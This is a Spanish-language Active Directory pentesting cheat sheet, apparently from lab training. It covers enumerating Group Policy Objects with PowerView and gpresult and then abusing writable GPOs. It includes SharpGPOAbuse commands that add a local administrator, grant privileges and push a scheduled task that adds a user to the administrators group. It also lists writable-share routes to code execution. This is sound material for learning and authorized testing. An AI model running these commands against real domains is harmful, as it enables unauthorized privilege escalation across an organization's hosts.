Skip to content

PowerView — Enumerating Group Policy Objects (GPOs)

¿Por qué importan los GPOs?

Los GPOs son una vía poderosa de movimiento lateral y vertical. Si un usuario o grupo tiene permisos de escritura sobre una GPO, puede usarla para agregar admins locales, asignar privilegios adicionales, ejecutar scripts maliciosos, o instalar software en todos los hosts donde aplica esa GPO.


Herramientas


Enumerar GPOs del dominio

c
# Listar nombres de todas las GPOs
Get-DomainGPO | select displayname
.\SharpView.exe Get-DomainGPO | findstr displayname

# GPO específica por nombre
Get-DomainGPO -Identity "Screensaver"

# GPO específica por GUID
Get-GPO -Guid 831DE3ED-40B1-4703-ABA7-8EA13B2EB118

# Todas las GPOs con su GUID
Get-DomainGPO | select displayname,name
Get-GPO -All | select DisplayName,Id

Los nombres de las GPOs revelan controles de seguridad activos: LAPS, AppLocker, PowerShell Logging, Disable CMD.exe, Disable Defender, etc. Útil para saber qué herramientas están bloqueadas antes de intentar ejecutarlas.


GPOs aplicadas a un host o usuario específico

c
# GPOs aplicadas a una computadora
Get-DomainGPO -ComputerName WS01 | select displayname

# Con gpresult (nativo, no requiere PowerView)
gpresult /r /user:harry.jones
gpresult /r /S WS01

# Generar reporte HTML completo
gpresult /h gpo_report.html

Analizar qué GPOs se aplican a qué hosts ayuda a identificar hosts donde ciertos controles no están activos y planear rutas de ataque.


Permisos sobre GPOs (GPO Abuse)

Buscar si Domain Users tiene permisos sobre alguna GPO

c
# SID de Domain Users es siempre S-1-5-21-<dominio>-513
$sid = (Get-DomainGroup -Identity "Domain Users").objectsid
Get-DomainGPO | Get-ObjectAcl | ? {$_.SecurityIdentifier -eq $sid}

Buscar permisos de escritura sobre GPOs para el usuario actual

c
$sid = ConvertTo-SID $env:USERNAME
Get-DomainGPO | Get-ObjectAcl | ? {$_.SecurityIdentifier -eq $sid}

Convertir el GUID de la GPO a nombre legible

c
Get-GPO -Guid 831DE3ED-40B1-4703-ABA7-8EA13B2EB118

Si encuentras que un usuario no privilegiado o Domain Users tiene WriteProperty, GenericWrite o GenericAll sobre una GPO, esa GPO es explotable con SharpGPOAbuse.


Explotar GPO misconfigured con SharpGPOAbuse

c
# Agregar usuario como admin local en hosts donde aplica la GPO
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount htb-student --GPOName "Screensaver"

# Agregar derechos a un usuario
.\SharpGPOAbuse.exe --AddUserRights --UserAccount htb-student --UserRights "SeDebugPrivilege,SeTakeOwnershipPrivilege" --GPOName "Screensaver"

# Crear tarea programada inmediata
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author INLANEFREIGHT\Administrator --Command "cmd.exe" --Arguments "/c net localgroup administrators htb-student /add" --GPOName "Screensaver"

Verificar antes cuántos hosts afecta la GPO para no impactar toda la organización accidentalmente.


Rutas ocultas de ejecución de código via GPO

Más allá de la GPO en sí, buscar si los archivos referenciados por la GPO son escribibles por usuarios no admin:

c
# Scripts de inicio/apagado de máquina o usuario
# Revisar si los .bat, .vbs, .ps1 referenciados en la GPO son escribibles

# Instalaciones de software (MSIs en shares)
# Si la GPO apunta a un MSI en un share y Authenticated Users puede escribir en ese share = ejecución de código

# Rutas de código execution via GPO a verificar:
# - Registry Autoruns
# - Software Installation (MSI en share)
# - Startup/Shutdown scripts (Machine o User)
# - Shortcuts en Desktop que apuntan a archivos
# - Scheduled Tasks

Si cualquiera de esas rutas apunta a un archivo en un share donde Domain Users, Everyone, o Domain Computers puede escribir, tienes ejecución de código aunque la GPO en sí no sea escribible.


Flujo recomendado al enumerar GPOs

c
# 1. Ver todas las GPOs y sus nombres (identificar controles de seguridad)
Get-DomainGPO | select displayname,name

# 2. Ver qué GPOs aplican a hosts clave
Get-DomainGPO -ComputerName WS01 | select displayname

# 3. Buscar si Domain Users tiene permisos sobre alguna GPO
$sid = (Get-DomainGroup -Identity "Domain Users").objectsid
Get-DomainGPO | Get-ObjectAcl | ? {$_.SecurityIdentifier -eq $sid}

# 4. Identificar la GPO por GUID
Get-GPO -Guid <GUID obtenido>

# 5. Verificar permisos de archivos referenciados en la GPO
# (revisar scripts de startup, MSIs, shortcuts manualmente)